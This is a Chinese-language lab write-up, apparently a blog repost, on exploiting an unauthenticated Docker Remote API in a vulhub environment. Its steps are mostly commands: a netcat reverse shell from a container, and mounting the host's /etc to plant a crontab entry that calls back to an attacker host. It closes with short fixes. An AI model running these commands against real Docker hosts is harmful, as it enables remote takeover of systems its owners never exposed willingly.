docker daemon is not running(docker api未授权访问)

影响范围

Docker ALL 

漏洞类型

未授权访问类

利用条件

影响范围应用

漏洞概述

Docker Remote API是一个取代远程命令行界面(RCLI)的REST API,当该接口直接暴漏在外网环境中且未作权限检查时,攻击者可以通过恶意调用相关的API实现远程命令执行

漏洞复现

环境搭建

下载环境

mkdir dockercd docker wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfilewget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.ymlwget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh

之后给docker-entrypoint.sh赋予执行权限

chmod 777 docker-entrypoint.sh

docker daemon is not running(docker api未授权访问)

编译并启动环境

docker-compose up -d

docker daemon is not running(docker api未授权访问)

漏洞利用
漏洞检测
docker -H tcp://192.168.17.140:2375 images

docker daemon is not running(docker api未授权访问)

反弹shell

Step 1:在VPS上监听9999端口

nc -lnvp 9999

docker daemon is not running(docker api未授权访问)

Step 2:查看目标系统上存在的镜像

docker -H tcp://192.168.17.140:2375 images

docker daemon is not running(docker api未授权访问)

Step 3:之后创建一个轻量级镜像

docker -H tcp://192.168.17.140:2375 run -id  alpine:latest

docker daemon is not running(docker api未授权访问)

Step 4:查看运行的容器信息获取对应的容器ID

docker -H tcp://192.168.17.140:2375 ps

docker daemon is not running(docker api未授权访问)

Step 5:进入容器并通过nc进行反弹shell

docker -H tcp://192.168.17.140:2375 exec -it cbb678549422  shnc 192.168.17.128 9999 -e /bin/sh

docker daemon is not running(docker api未授权访问)

Step 6:在攻击主机中成功接收到shell

docker daemon is not running(docker api未授权访问)

Step 7:退出并删除容器

    exitdocker -H tcp://192.168.17.140:2375 rm cbb678549422 -fdocker -H tcp://192.168.17.140:2375 ps

    docker daemon is not running(docker api未授权访问)

    物理主机

    我们可以在创建容器时将物理主机的计划任务目录挂载到容器中的可写目录中,之后通过在容器中对计划任务进行编辑间接性实现对物理主机中计划任务的编辑,从而实现获取物理主机权限的目的,下面进行简单演示:

    Step 1:检测是否存在漏洞

    docker -H tcp://192.168.17.140:2375 images

    docker daemon is not running(docker api未授权访问)

    Step 2:在攻击主机中设置监听

    docker daemon is not running(docker api未授权访问)

    Step 3:将宿主机的系统计划任务目录(/etc/crontab)挂载到容器中的/tmp目录下

    docker -H tcp://192.168.17.140:2375 run -id -v /etc/:/tmp/etc alpine:latest

    docker daemon is not running(docker api未授权访问)

    Step 4:查看运行的容器信息获取对应的容器ID

    docker -H tcp://192.168.17.140:2375 ps

    docker daemon is not running(docker api未授权访问)

    Step 5:远程访问容器并写入计划任务

    docker -H tcp://192.168.17.140:2375 exec -it f9e17c91eda2  shcrontab -e*  *  *  *  *  /usr/bin/nc 192.168.17.128 9999 -e /bin/shcrontab -l

    docker daemon is not running(docker api未授权访问)

    Step 6:反弹shell

    目标检索

    暂不提供

    修复建议

    1、对2375端口做网络访问控制,例如:ACL控制

    2、修改docker swarm的认证方式,使用TLS认证

    原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34233.html

    (0)
    七芒星实验室's avatar七芒星实验室
    上一篇 2024年4月15日 上午7:22
    下一篇 2024年4月15日 上午7:24

    相关推荐

    • haahmap和hashtable,hashmap 和map区别

      在Java集合框架中,WeakHashMap和HashMap是实现Map接口的两种常见数据结构。虽然两者都可以存储键值对,但在实现细节、使用场景和性能上存在显着差异。在本文中,我们…

      网站运维 2024年6月1日
      0
    • Web基础与HTTP协议

      Web基础与HTTP协议一,Web基础 1:域名和DNS 1.域名的概念
      域名是互联网上用于识别和定位计算机服务的层次式字符标识,它提供了比IP地址更为友好的访问方式。一个完整的域名由多个标签组成

      网站运维 2024年7月5日
      0
    • 推荐收藏! 6款专业标志设计软件

      想要自己制作logo吗?小编推荐给大家6款logo设计软件。一款个性独特的徽标拥有公司的识别和推广的作用,通过形象的logo可以让消费者记住公司主体和品牌文化。

      2024年9月21日
      0
    • 免费网络托管

      免费虚拟主机阿贝云免费虚拟主机,月流量5G,网页空间1G,IP地址共享,MySql数据库50M,支持语言,Asp/phPicon,送免备案服务申请地址:http

      2024年9月19日
      0

    发表回复

    您的邮箱地址不会被公开。 必填项已用 * 标注